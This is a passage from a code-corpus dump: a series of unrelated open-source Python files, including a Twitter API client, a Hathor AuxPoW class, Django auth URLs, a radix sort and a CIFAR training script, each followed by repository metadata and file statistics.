) if self.colors[key]["bgcolor"] is not None and match > best_match_bg: best_match_bg = match bgcolor = self.colors[key]["bgcolor"] bgcolor_sim = self.colors[key]["bgcolor_simulated"] bg_selector = SchemeSelectors(self.colors[key]["name"], self.colors[key]["scope"]) if len(style) == 0: style = "" else: style = ' '.join(style) self.matched[scope_key] = { "color": color, "bgcolor": bgcolor, "color_simulated": color_sim, "bgcolor_simulated": bgcolor_sim, "style": style, "selectors": { "color": color_selector, "background": bg_selector, "style": style_selectors } } if selected: if self.special_colors['selectionForeground']['color']: color = self.special_colors['selectionForeground']['color'] color_sim = color = self.special_colors['selectionForeground']['color_simulated'] style = '' if self.special_colors['selection']['color']: bgcolor = self.special_colors['selection']['color'] bgcolor_sim = color = self.special_colors['selection']['color_simulated'] return SchemeColors( color, color_sim, bgcolor, bgcolor_sim, style, color_selector, bg_selector, style_selectors )

43.985714

120

0.60531

10,497

0.852306

0

4,695

0.381211

629f16a424f010c4c41e887a5a673cd1324c487c

820

py

Python

hadoop/hadoop/node.py

DropletProbe/shellscripts

d070eef24cd6003694d81a3bdc38f2097452c076

[ "MIT" ]

null

hadoop/hadoop/node.py

DropletProbe/shellscripts

d070eef24cd6003694d81a3bdc38f2097452c076

[ "MIT" ]

null

hadoop/hadoop/node.py

DropletProbe/shellscripts

d070eef24cd6003694d81a3bdc38f2097452c076

[ "MIT" ]

null

import re class Node: def __init__(self, id, ip, hostname, type): self.id = id self.ip = ip self.hostname = hostname self.type = type self.validate() def validate(self): self.illegal = False if re.match("^(\d{1,3}\.){3}\d{1,3}$", self.ip): self.illegal = reduce(lambda x, y : x and y, map(lambda x : True if int(x) <= 255 else False, self.ip.split(".")), True) if self.illegal == False: raise Exception("IP Format Error, " + self.ip + " is illegal.") def __repr__(self): return str(self) def __str__(self): return "<IP: %s, id: %s, hostname: %s, type: %s>" % (self.ip, self.id, self.hostname, self.type) # if __name__ == "__main__": # a = Node(1, "192.168.1.300", 1, 1) # a.validate()

28.275862

132

0.540244

717

0.87439

0

189

0.230488

629facc04419dcfc8b14e0e646d18577710d3fd8

134

py

Python

Python/School/C7/q2.py

abdalrhmanyasser/Abdalrhman_Rep

e0fc3caa2cc04e92f591ccd7934586986d194000

[ "CC0-1.0" ]

null

Python/School/C7/q2.py

abdalrhmanyasser/Abdalrhman_Rep

e0fc3caa2cc04e92f591ccd7934586986d194000

[ "CC0-1.0" ]

null

Python/School/C7/q2.py

abdalrhmanyasser/Abdalrhman_Rep

e0fc3caa2cc04e92f591ccd7934586986d194000

[ "CC0-1.0" ]

null

from random import * l = [] for i in range(50): l.append(randint(1, 100)) print(l) for i in range(len(l)): l[i] **= 2 print(l)

16.75

29

0.58209

0

62a017f4ec169c103d6b2ccf1047abf661d12ee5

827

py

Python

code401challengespython/radix_sort/radix_sort.py

danhuyle508/data-structures-and-algorithms

476f32ebcde0350390e36d32e5dc7911ac9bab09

[ "MIT" ]

null

code401challengespython/radix_sort/radix_sort.py

danhuyle508/data-structures-and-algorithms

476f32ebcde0350390e36d32e5dc7911ac9bab09

[ "MIT" ]

null

code401challengespython/radix_sort/radix_sort.py

danhuyle508/data-structures-and-algorithms

476f32ebcde0350390e36d32e5dc7911ac9bab09

[ "MIT" ]

null

import math def radix_sort(arr): if arr != []: bucket_size = 10 maxLength = False temp = -1 placement = 1 while not maxLength: maxLength = True buckets = [list() for i in range( bucket_size )] #empty the arr for i in arr: temp = math.floor(i / placement) buckets[temp % bucket_size].append( i ) if maxLength and temp > 0: maxLength = False a = 0 #append numbers back to arr in order for b in range( bucket_size ): buck = buckets[b] for i in buck: arr[a] = i a += 1 placement *= bucket_size return arr return arr

28.517241

60

0.436518

0

50

0.060459

62a043b5cf107ad3ad2080e48c27d0e71c339360

4,232

py

Python

main_no_module.py

KMU-AELAB-AL/random

40c796cb6936742eace4651b1525ba6bea88b37d

[ "MIT" ]

null

main_no_module.py

KMU-AELAB-AL/random

40c796cb6936742eace4651b1525ba6bea88b37d

[ "MIT" ]

null

main_no_module.py

KMU-AELAB-AL/random

40c796cb6936742eace4651b1525ba6bea88b37d

[ "MIT" ]

null

import os import random import torch import torch.nn as nn import torch.optim as optim from torch.utils.data import DataLoader import torch.optim.lr_scheduler as lr_scheduler from torch.utils.data.sampler import SubsetRandomSampler from torchvision.datasets import CIFAR100, CIFAR10 from tqdm import tqdm from config import * from models.resnet import ResNet18 from data.transform import Cifar random.seed('KMU_AELAB') torch.manual_seed(0) torch.backends.cudnn.deterministic = True transforms = Cifar() if DATASET == 'cifar10': data_train = CIFAR10('./data', train=True, download=True, transform=transforms.train_transform) data_unlabeled = CIFAR10('./data', train=True, download=True, transform=transforms.test_transform) data_test = CIFAR10('./data', train=False, download=True, transform=transforms.test_transform) elif DATASET == 'cifar100': data_train = CIFAR100('./data', train=True, download=True, transform=transforms.train_transform) data_unlabeled = CIFAR100('./data', train=True, download=True, transform=transforms.test_transform) data_test = CIFAR100('./data', train=False, download=True, transform=transforms.test_transform) else: raise FileExistsError def train_epoch(model, criterion, optimizer, dataloaders): model.train() for data in tqdm(dataloaders['train'], leave=False, total=len(dataloaders['train'])): inputs = data[0].cuda() labels = data[1].cuda() optimizer.zero_grad() scores, features = model(inputs) loss = criterion(scores, labels) loss.backward() optimizer.step() def test(model, dataloaders, mode='val'): model.eval() total = 0 correct = 0 with torch.no_grad(): for (inputs, labels) in dataloaders[mode]: inputs = inputs.cuda() labels = labels.cuda() scores, _ = model(inputs) _, preds = torch.max(scores.data, 1) total += labels.size(0) correct += (preds == labels).sum().item() return 100 * correct / total def train(model, criterion, optimizer, scheduler, dataloaders, num_epochs): print('>> Train a Model.') checkpoint_dir = os.path.join(f'./trained', 'weights') if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) for epoch in range(num_epochs): scheduler.step() train_epoch(model, criterion, optimizer, dataloaders) print('>> Finished.') if __name__ == '__main__': for trial in range(TRIALS): fp = open(f'record_{trial + 1}.txt', 'w') indices = list(range(NUM_TRAIN)) random.shuffle(indices) labeled_set = indices[:INIT_CNT] unlabeled_set = indices[INIT_CNT:] train_loader = DataLoader(data_train, batch_size=BATCH, sampler=SubsetRandomSampler(labeled_set), pin_memory=True) test_loader = DataLoader(data_test, batch_size=BATCH) dataloaders = {'train': train_loader, 'test': test_loader} model = ResNet18(num_classes=CLS_CNT).cuda() torch.backends.cudnn.benchmark = False for cycle in range(CYCLES): criterion = nn.CrossEntropyLoss().cuda() optimizer = optim.SGD(model.parameters(), lr=LR, momentum=MOMENTUM, weight_decay=WDECAY) scheduler = lr_scheduler.MultiStepLR(optimizer, milestones=MILESTONES) train(model, criterion, optimizer, scheduler, dataloaders, EPOCH) acc = test(model, dataloaders, mode='test') fp.write(f'{acc}\n') print('Trial {}/{} || Cycle {}/{} || Label set size {}: Test acc {}'.format(trial + 1, TRIALS, cycle + 1, CYCLES, len(labeled_set), acc)) random.shuffle(unlabeled_set) labeled_set += unlabeled_set[:ADDENDUM] unlabeled_set = unlabeled_set[ADDENDUM:] dataloaders['train'] = DataLoader(data_train, batch_size=BATCH, sampler=SubsetRandomSampler(labeled_set), pin_memory=True) fp.close()

32.553846

119

0.629962

0

287

0.067817

62a2a70bfd5dba6090a4f4d7e8ad09c40c0c9748

1,284

py

Python

deployment_scripts/python/modules/deploy_mgmt.py

Nexenta/fuel-plugin-nexentaedge

6cd55bdfd40b4e9e841834b4f8dac29f1684af8e

[ "Apache-2.0" ]

null

deployment_scripts/python/modules/deploy_mgmt.py

Nexenta/fuel-plugin-nexentaedge

6cd55bdfd40b4e9e841834b4f8dac29f1684af8e

[ "Apache-2.0" ]

null

deployment_scripts/python/modules/deploy_mgmt.py

Nexenta/fuel-plugin-nexentaedge

6cd55bdfd40b4e9e841834b4f8dac29f1684af8e

[ "Apache-2.0" ]

null

import sys from nexentaedge.utils import get_sid from nexentaedge.nedgeConfigurator import NedgeMgmtConfigurator from utils import get_iface_name_by_mac_from_list from utils import get_deployment_config def main(): # check nedge already installed and ready if get_sid(): return cfg = get_deployment_config() plugin = cfg['fuel-plugin-nexentaedge'] replicast_name = get_iface_name_by_mac_from_list(plugin['replicast_macs']) environment = { 'node_private_ip': '127.0.0.1', 'replicast_eth': replicast_name, 'nedge_node_count': 1, 'nedge_activation_key': plugin['activation_key'], 'nedge_cluster_name': plugin['cluster_name'], 'nedge_tenant_name': plugin['tenant_name'], 'nedge_bucket_name': plugin['bucket_name'], 'profile': plugin['profile'], 'nodocker': True, 'exclude': None, 'reserved': None } configurator = NedgeMgmtConfigurator(environment) if not configurator.configure(): blockers = configurator.get_blockers() if blockers: print('blocked') for blocker in blockers: print(blocker) sys.exit(1) if __name__ == '__main__': main()

29.181818

79

0.63785

0

346

0.26947

62a3ad6a413be7104ebcc620eae261f63aeb9314

1,234

py

Python

bookmarks/account/urls.py

dorotan/social

f78dc84554ef37c40f661ee1350bd3d5ade51d46

[ "Apache-2.0" ]

null

bookmarks/account/urls.py

dorotan/social

f78dc84554ef37c40f661ee1350bd3d5ade51d46

[ "Apache-2.0" ]

null

bookmarks/account/urls.py

dorotan/social

f78dc84554ef37c40f661ee1350bd3d5ade51d46

[ "Apache-2.0" ]

null

from django.conf.urls import url from django.contrib.auth import views as auth_views from django.contrib.auth import views from . import views urlpatterns = [ #Custom login view # url(r'^login/$', views.user_login, name='login'), #Builtin login view url(r'^login/$', auth_views.login, name='login'), url(r'^edit/$', views.edit, name='edit'), url(r'^logout/$', auth_views.logout, name='logout'), url(r'^logout_then_login/$', auth_views.logout_then_login, name='logout_then_login'), url(r'^$', views.dashboard, name='dashboard'), url(r'^password_change/$', auth_views.password_change, name='password_change'), url(r'^password_change/done/$', auth_views.password_change_done, name='password_change_done'), url(r'^password_reset/$', auth_views.password_reset, name='password_reset'), url(r'^password_reset/done/$', auth_views.password_reset_done, name='password_reset_done'), url(r'^password_reset/confirm/(?P<uidb64>[0-9A-Za-z]+)-(?P<token>.+)/$', auth_views.password_reset_confirm, name='password_reset_confirm'), url(r'^password_reset/complete/$', auth_views.password_reset_complete, name='password_reset_complete'), url(r'^register/$', views.register, name='register'), ]

51.416667

143

0.71799

0

537

0.43517

62a3b336bd6bebedcff30395fd32342d7e3cb1c2

10,195

py

Python

examples/twitter.py

alex/remoteobjects

4fd1d03fc5ec041fa226d93bdf4a0188ce569b4c

[ "BSD-3-Clause" ]

1

2015-11-08T12:46:28.000Z

examples/twitter.py

alex/remoteobjects

4fd1d03fc5ec041fa226d93bdf4a0188ce569b4c

[ "BSD-3-Clause" ]

null

examples/twitter.py

alex/remoteobjects

4fd1d03fc5ec041fa226d93bdf4a0188ce569b4c

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # Copyright (c) 2009 Six Apart Ltd. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of Six Apart Ltd. nor the names of its contributors may # be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ A Twitter API client, implemented using remoteobjects. """ __version__ = '1.1' __date__ = '17 April 2009' __author__ = 'Brad Choate' import httplib from optparse import OptionParser import sys from urllib import urlencode, quote_plus from urlparse import urljoin, urlunsplit from httplib2 import Http from remoteobjects import RemoteObject, fields, ListObject class User(RemoteObject): """A Twitter account. A User can be retrieved from ``http://twitter.com/users/show.json`` with the appropriate ``id``, ``user_id``, or ``screen_name`` parameter. """ id = fields.Field() name = fields.Field() screen_name = fields.Field() location = fields.Field() description = fields.Field() profile_image_url = fields.Field() protected = fields.Field() followers_count = fields.Field() status = fields.Object('Status') @classmethod def get_user(cls, http=None, **kwargs): url = '/users/show' if 'id' in kwargs: url += '/%s.json' % quote_plus(kwargs['id']) else: url += '.json' query = urlencode(filter(lambda x: x in ('screen_name', 'user_id'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class DirectMessage(RemoteObject): """A Twitter direct message. The authenticated user's most recent direct messages are at ``http://twitter.com/direct_messages.json``. """ id = fields.Field() sender_id = fields.Field() text = fields.Field() recipient_id = fields.Field() created_at = fields.Field() sender_screen_name = fields.Field() recipient_screen_name = fields.Field() sender = fields.Object(User) recipient = fields.Object(User) def __unicode__(self): return u"%s: %s" % (self.sender.screen_name, self.text) class Status(RemoteObject): """A Twitter update. Statuses can be fetched from ``http://twitter.com/statuses/show/<id>.json``. """ created_at = fields.Field() id = fields.Field() text = fields.Field() source = fields.Field() truncated = fields.Field() in_reply_to_status_id = fields.Field() in_reply_to_user_id = fields.Field() in_reply_to_screen_name = fields.Field() favorited = fields.Field() user = fields.Object(User) @classmethod def get_status(cls, id, http=None): return cls.get(urljoin(Twitter.endpoint, "/statuses/show/%d.json" % int(id)), http=http) def __unicode__(self): return u"%s: %s" % (self.user.screen_name, self.text) class DirectMessageList(ListObject): entries = fields.List(fields.Object(DirectMessage)) def __getitem__(self, key): return self.entries.__getitem__(key) @classmethod def get_messages(cls, http=None, **kwargs): url = '/direct_messages.json' query = urlencode(filter(lambda x: x in ('since_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) @classmethod def get_sent_messages(cls, http=None, **kwargs): url = '/direct_messages/sent.json' query = urlencode(filter(lambda x: x in ('since_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class UserList(ListObject): entries = fields.List(fields.Object(User)) def __getitem__(self, key): return self.entries.__getitem__(key) @classmethod def get_friends(cls, http=None, **kwargs): return cls.get_related("friends", http=http, **kwargs) @classmethod def get_followers(cls, http=None, **kwargs): return cls.get_related("followers", http=http, **kwargs) @classmethod def get_related(cls, relation, http=None, **kwargs): url = '/statuses/%s' % relation if 'id' in kwargs: url += '/%s.json' % quote_plus(kwargs['id']) else: url += '.json' query = urlencode(filter(lambda x: x in ('screen_name', 'user_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class Timeline(ListObject): entries = fields.List(fields.Object(Status)) def __getitem__(self, key): return self.entries.__getitem__(key) @classmethod def public(cls, http=None): return cls.get(urljoin(Twitter.endpoint, '/statuses/public_timeline.json'), http=http) @classmethod def friends(cls, http=None, **kwargs): query = urlencode(filter(lambda x: x in ('since_id', 'max_id', 'count', 'page'), kwargs)) url = urlunsplit((None, None, '/statuses/friends_timeline.json', query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) @classmethod def user(cls, http=None, **kwargs): url = '/statuses/user_timeline' if 'id' in kwargs: url += '/%s.json' % quote_plus(kwargs['id']) else: url += '.json' query = urlencode(filter(lambda x: x in ('screen_name', 'user_id', 'since_id', 'max_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) @classmethod def mentions(cls, http=None, **kwargs): query = urlencode(filter(lambda x: x in ('since_id', 'max_id', 'page'), kwargs)) url = urlunsplit((None, None, '/statuses/mentions.json', query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class Twitter(Http): """A user agent for interacting with Twitter. Instances of this class are full ``httplib2.Http`` HTTP user agent objects, but provide convenient convenience methods for interacting with Twitter and its data objects. """ endpoint = 'http://twitter.com/' def public_timeline(self): return Timeline.public(http=self) def friends_timeline(self, **kwargs): return Timeline.friends(http=self, **kwargs) def user_timeline(self, **kwargs): return Timeline.user(http=self, **kwargs) def show(self, id): return Status.get_status(id, http=self) def user(self, id, **kwargs): return User.get_user(http=self, **kwargs) def mentions(self, **kwargs): return Timeline.mentions(http=self, **kwargs) def friends(self, **kwargs): return UserList.get_friends(http=self, **kwargs) def direct_messages_received(self, **kwargs): return DirectMessageList.get_messages(http=self, **kwargs) def direct_messages_sent(self, **kwargs): return DirectMessageList.get_messages_sent(http=self, **kwargs) def show_public(twitter): print "## Public timeline ##" for tweet in twitter.public_timeline(): print unicode(tweet) def show_dms(twitter): print "## Direct messages sent to me ##" for dm in twitter.direct_messages_received(): print unicode(dm) def show_friends(twitter): print "## Tweets from my friends ##" for tweet in twitter.friends_timeline(): print unicode(tweet) def main(argv=None): if argv is None: argv = sys.argv parser = OptionParser() parser.add_option("-u", "--username", dest="username", help="name of user for authentication") parser.add_option("--public", action="store_const", const=show_public, dest="action", default=show_public, help="Show tweets from the public timeline") parser.add_option("--dms", action="store_const", const=show_dms, dest="action", help="Show DMs sent to you (requires -u)") parser.add_option("--friends", action="store_const", const=show_friends, dest="action", help="Show your friends' recent tweets (requires -u)") opts, args = parser.parse_args() twitter = Twitter() # We'll use regular HTTP authentication, so ask for a password and add # it in the regular httplib2 way. if opts.username is not None: password = raw_input("Password (will echo): ") twitter.add_credentials(opts.username, password) try: print opts.action(twitter) print except httplib.HTTPException, exc: # The API could be down, or the credentials on an auth-only request # could be wrong, so show the error to the end user. print >>sys.stderr, "Error making request: %s: %s" \ % (type(exc).__name__, str(exc)) return 1 return 0 if __name__ == '__main__': sys.exit(main())

32.059748

114

0.665326

6,400

0.627759

0

3,064

0.300539

0

3,495

0.342815

62a5341859cb97bf208e99d03085417e4406b355

1,119

py

Python

droxi/drox/write.py

andydude/droxtools

d608ceb715908fb00398c0d28eee74286fef3750

[ "MIT" ]

null

droxi/drox/write.py

andydude/droxtools

d608ceb715908fb00398c0d28eee74286fef3750

[ "MIT" ]

null

droxi/drox/write.py

andydude/droxtools

d608ceb715908fb00398c0d28eee74286fef3750

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # # droxi # Copyright (c) 2014, Andrew Robbins, All rights reserved. # # This library ("it") is free software; it is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; you can redistribute it and/or modify it under the terms of the # GNU Lesser General Public License ("LGPLv3") <https://www.gnu.org/licenses/lgpl.html>. from __future__ import absolute_import import sys import importlib from .etree import etree from .config import DEBUG def drox_write(exp, fp=sys.stdout): fp.write(drox_write_string(exp) + '\n') def drox_write_tree(exp): if DEBUG: print("write <= " + repr(exp)) if hasattr(exp, '__tree__'): tree = exp.__tree__() else: name = '.'.join(type(exp).__module__.split('.')[:2]) modulename = name + '.writer' #print("modulename = " + modulename) lib = importlib.import_module(modulename) tree = lib.Writer()(exp) if DEBUG: print("write => " + repr(tree)) return tree def drox_write_string(exp): tree = drox_write_tree(exp) return etree.tostring(tree)

31.971429

93

0.669348

0

471

0.420912

62a6aa5f52b205b9fb58d93a1dc26a90e2c69fff

5,224

py

Python

hathor/transaction/aux_pow.py

mbnunes/hathor-core

e5e0d4a627341e2a37ee46db5c9354ddb7f8dfb8

[ "Apache-2.0" ]

51

2019-12-28T03:33:27.000Z

2022-03-10T14:03:03.000Z

hathor/transaction/aux_pow.py

mbnunes/hathor-core

e5e0d4a627341e2a37ee46db5c9354ddb7f8dfb8

[ "Apache-2.0" ]

316

2019-09-10T09:20:05.000Z

2022-03-31T20:18:56.000Z

hathor/transaction/aux_pow.py

jansegre/hathor-core

22b3de6be2518e7a0797edbf0e4f6eb1cf28d6fd

[ "Apache-2.0" ]

19

2020-01-04T00:13:18.000Z

2022-02-08T21:18:46.000Z

# Copyright 2021 Hathor Labs # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import List, NamedTuple from structlog import get_logger from hathor import protos logger = get_logger() class BitcoinAuxPow(NamedTuple): header_head: bytes # 36 bytes coinbase_head: bytes # variable length (at least 47 bytes) coinbase_tail: bytes # variable length (at least 18 bytes) merkle_path: List[bytes] # each element has 32 bytes header_tail: bytes # 12 bytes @classmethod def dummy(cls) -> 'BitcoinAuxPow': """ Create a minimal valid AuxPOW. """ from hathor.merged_mining import MAGIC_NUMBER return cls(b'\0' * 36, MAGIC_NUMBER, b'', [b'\0' * 32], b'\0' * 12) def calculate_hash(self, base_block_hash: bytes) -> bytes: """ Hash of the Bitcoin produced header, this is used for the block hash. """ from hathor.merged_mining.bitcoin import build_merkle_root_from_path, sha256d_hash coinbase_tx_hash = sha256d_hash(self.coinbase_head + base_block_hash + self.coinbase_tail) merkle_root = bytes(reversed(build_merkle_root_from_path([coinbase_tx_hash] + self.merkle_path))) return sha256d_hash(self.header_head + merkle_root + self.header_tail) def verify(self, _base_block_hash: bytes) -> None: """ Check for inconsistencies, raises instance of TxValidationError on error. """ from hathor.merged_mining import MAGIC_NUMBER from hathor.transaction.exceptions import AuxPowError if not self.coinbase_head.endswith(MAGIC_NUMBER): raise AuxPowError('cannot find MAGIC_NUMBER') if MAGIC_NUMBER in self.coinbase_head[42:len(MAGIC_NUMBER)]: # 42 first bytes can be ignored raise AuxPowError('multiple instances of MAGIC_NUMBER') if len(self.merkle_path) > 12: raise AuxPowError('`merkle_path` too long') # XXX: is there anything else that needs to be verified? def to_proto(self) -> protos.BitcoinAuxPow: """ Create Protobuf instance, all values are copied. """ return protos.BitcoinAuxPow( header_head=self.header_head, coinbase_head=self.coinbase_head, coinbase_tail=self.coinbase_tail, merkle_path=self.merkle_path, header_tail=self.header_tail, ) @classmethod def create_from_proto(cls, aux_pow_proto: protos.BitcoinAuxPow) -> 'BitcoinAuxPow': """ Create a BitcionAuxPow instance from Protobuf. """ return cls( header_head=aux_pow_proto.header_head, coinbase_head=aux_pow_proto.coinbase_head, coinbase_tail=aux_pow_proto.coinbase_tail, merkle_path=list(aux_pow_proto.merkle_path), header_tail=aux_pow_proto.header_tail, ) def __bytes__(self) -> bytes: """ Convert to byte representation. | Size | Description | Comments | |------|----------------------|----------| | 36 | `header_head` | first 36 bytes of the header | | 1+ | `coinbase_head` size | byte length of the next field | | 47+ | `coinbase_head` | coinbase bytes before hash of `block_data` | | 1+ | `coinbase_tail` size | byte length of the next field | | 18+ | `coinbase_tail` | coinbase bytes after hash of `block_data` | | 1+ | `merkle_path` count | the number of links on the `merkle_path` | | 32+ | `merkle_path` | array of links, each one is 32 bytes long | | 12 | `header_tail` | last 12 bytes of the header | """ from hathor.merged_mining.bitcoin import encode_bytearray, encode_list struct_bytes = self.header_head struct_bytes += encode_bytearray(self.coinbase_head) struct_bytes += encode_bytearray(self.coinbase_tail) struct_bytes += encode_list(self.merkle_path) struct_bytes += self.header_tail return struct_bytes @classmethod def from_bytes(cls, b: bytes) -> 'BitcoinAuxPow': """ Convert bytes to class instance. """ from hathor.merged_mining.bitcoin import read_bytes, read_nbytes, read_varint a = bytearray(b) header_head = read_nbytes(a, 36) coinbase_head = read_bytes(a) coinbase_tail = read_bytes(a) c = read_varint(a) merkle_path = [] for _ in range(c): merkle_path.append(bytes(a[:32])) del a[:32] header_tail = read_nbytes(a, 12) return cls( header_head, coinbase_head, coinbase_tail, merkle_path, header_tail, )

41.460317

105

0.647205

4,526

0.866386

0

1,405

0.268951

0

2,083

0.398737

62a6cdcc5cf9bca5a11b6dc4e9f38e91015abe52

502

py

Python

cortex/export/__init__.py

mvdoc/pycortex

bc8a93cac9518e3c1cd89650c703f9f3814e805b

[ "BSD-2-Clause" ]

423

2015-01-06T02:46:46.000Z

2022-03-23T17:20:38.000Z

cortex/export/__init__.py

mvdoc/pycortex

bc8a93cac9518e3c1cd89650c703f9f3814e805b

[ "BSD-2-Clause" ]

243

2015-01-03T02:10:03.000Z

2022-03-31T19:29:48.000Z

cortex/export/__init__.py

mvdoc/pycortex

bc8a93cac9518e3c1cd89650c703f9f3814e805b

[ "BSD-2-Clause" ]

136

2015-03-23T20:35:59.000Z

2022-03-09T13:39:10.000Z

from .save_views import save_3d_views from .panels import plot_panels from ._default_params import ( params_inflatedless_lateral_medial_ventral, params_flatmap_lateral_medial, params_occipital_triple_view, params_inflated_dorsal_lateral_medial_ventral, ) __all__ = [ "save_3d_views", "plot_panels", "params_flatmap_lateral_medial", "params_occipital_triple_view", "params_inflatedless_lateral_medial_ventral", "params_inflated_dorsal_lateral_medial_ventral", ]

27.888889

52

0.804781

0

180

0.358566

62a72c2067d3b5d382112ffdbd4e31435a1725b9

1,456

py

Python

pyfr/plugins/dtstats.py

DengSonic/PyFR

dde524ed56f4a4feca376b51db4b21eb6fa4b113

[ "BSD-3-Clause" ]

1

2020-06-23T16:37:06.000Z

pyfr/plugins/dtstats.py

synthetik-technologies/PyFR

9d4d5e96a8a9d5ca47970ec197b251ae8b0ecdda

[ "BSD-3-Clause" ]

null

pyfr/plugins/dtstats.py

synthetik-technologies/PyFR

9d4d5e96a8a9d5ca47970ec197b251ae8b0ecdda

[ "BSD-3-Clause" ]

1

2020-08-21T02:50:17.000Z

# -*- coding: utf-8 -*- from pyfr.mpiutil import get_comm_rank_root from pyfr.plugins.base import BasePlugin, init_csv class DtStatsPlugin(BasePlugin): name = 'dtstats' systems = ['*'] formulations = ['std'] def __init__(self, intg, cfgsect, prefix): super().__init__(intg, cfgsect, prefix) self.flushsteps = self.cfg.getint(self.cfgsect, 'flushsteps', 500) self.count = 0 self.stats = [] self.tprev = intg.tcurr # MPI info comm, rank, root = get_comm_rank_root() # The root rank needs to open the output file if rank == root: self.outf = init_csv(self.cfg, cfgsect, 'n,t,dt,action,error') else: self.outf = None def __call__(self, intg): # Process the sequence of rejected/accepted steps for i, (dt, act, err) in enumerate(intg.stepinfo, start=self.count): self.stats.append((i, self.tprev, dt, act, err)) # Update the total step count and save the current time self.count += len(intg.stepinfo) self.tprev = intg.tcurr # If we're the root rank then output if self.outf: for s in self.stats: print(','.join(str(c) for c in s), file=self.outf) # Periodically flush to disk if intg.nacptsteps % self.flushsteps == 0: self.outf.flush() # Reset the stats self.stats = []

29.12

76

0.581731

1,333

0.915522

0

316

0.217033

62a840352bdaa921e3b37484cc7f2c625c055007

1,989

py

Python

scripts/cylindrical.py

NunchakusLei/Panoramas-with-image-stitching

a0c9a292d53f22e4de82fe337935c946064fe519

[ "Apache-2.0" ]

3

2020-12-24T19:02:19.000Z

2021-07-17T07:48:54.000Z

scripts/cylindrical.py

NunchakusLei/Panoramas-with-image-stitching

a0c9a292d53f22e4de82fe337935c946064fe519

[ "Apache-2.0" ]

null

scripts/cylindrical.py

NunchakusLei/Panoramas-with-image-stitching

a0c9a292d53f22e4de82fe337935c946064fe519

[ "Apache-2.0" ]

null

# The source of this script is from: # https://github.com/TejasNaikk/Image-Alignment-and-Panoramas/blob/master/main.py import cv2 import numpy as np import math ''' Warp an image from cartesian coordinates (x, y) into cylindrical coordinates (theta, h) Returns: (image, mask) Mask is [0,255], and has 255s wherever the cylindrical images has a valid value. Masks are useful for stitching Usage example: im = cv2.imread("myimage.jpg",0) #grayscale h,w = im.shape f = 700 K = np.array([[f, 0, w/2], [0, f, h/2], [0, 0, 1]]) # mock calibration matrix imcyl = cylindricalWarpImage(im, K) ''' def cylindricalWarpImage(img1, K, savefig=False): f = K[0,0] im_h,im_w = img1.shape[:2] # go inverse from cylindrical coord to the image # (this way there are no gaps) cyl = np.zeros_like(img1) cyl_mask = np.zeros((im_h,im_w), dtype=img1.dtype) cyl_h, cyl_w = cyl.shape[:2] x_c = float(cyl_w) / 2.0 y_c = float(cyl_h) / 2.0 for x_cyl in np.arange(0,cyl_w): for y_cyl in np.arange(0,cyl_h): theta = (x_cyl - x_c) / f h = (y_cyl - y_c) / f X = np.array([math.sin(theta), h, math.cos(theta)]) X = np.dot(K,X) x_im = X[0] / X[2] if x_im < 0 or x_im >= im_w: continue y_im = X[1] / X[2] if y_im < 0 or y_im >= im_h: continue cyl[int(y_cyl),int(x_cyl)] = img1[int(y_im),int(x_im)] cyl_mask[int(y_cyl),int(x_cyl)] = 255 if savefig: plt.imshow(cyl, cmap='gray') plt.savefig("cyl.png",bbox_inches='tight') return (cyl, cyl_mask) if __name__ == "__main__": im = cv2.imread('../data/example-data/flower/1.jpg') h,w = im.shape[:2] f = 700 K = np.array([[f, 0, w/2], [0, f, h/2], [0, 0, 1]]) # mock calibration matrix imcyl = cylindricalWarpImage(im, K) cv2.imshow("test", imcyl[0]) cv2.waitKey() cv2.destroyAllWindows()

29.25

87

0.581699

0

739

0.371543

62a90788c7716583df977b2015db0ceb313c24a8

7,490

py

Python

fmt/pythonfmt/fmt.py

KarlRong/Safe-RL-for-Driving

67484911ca8ad9f1476e96043c379c01cd5ced8c

[ "Apache-2.0" ]

null

fmt/pythonfmt/fmt.py

KarlRong/Safe-RL-for-Driving

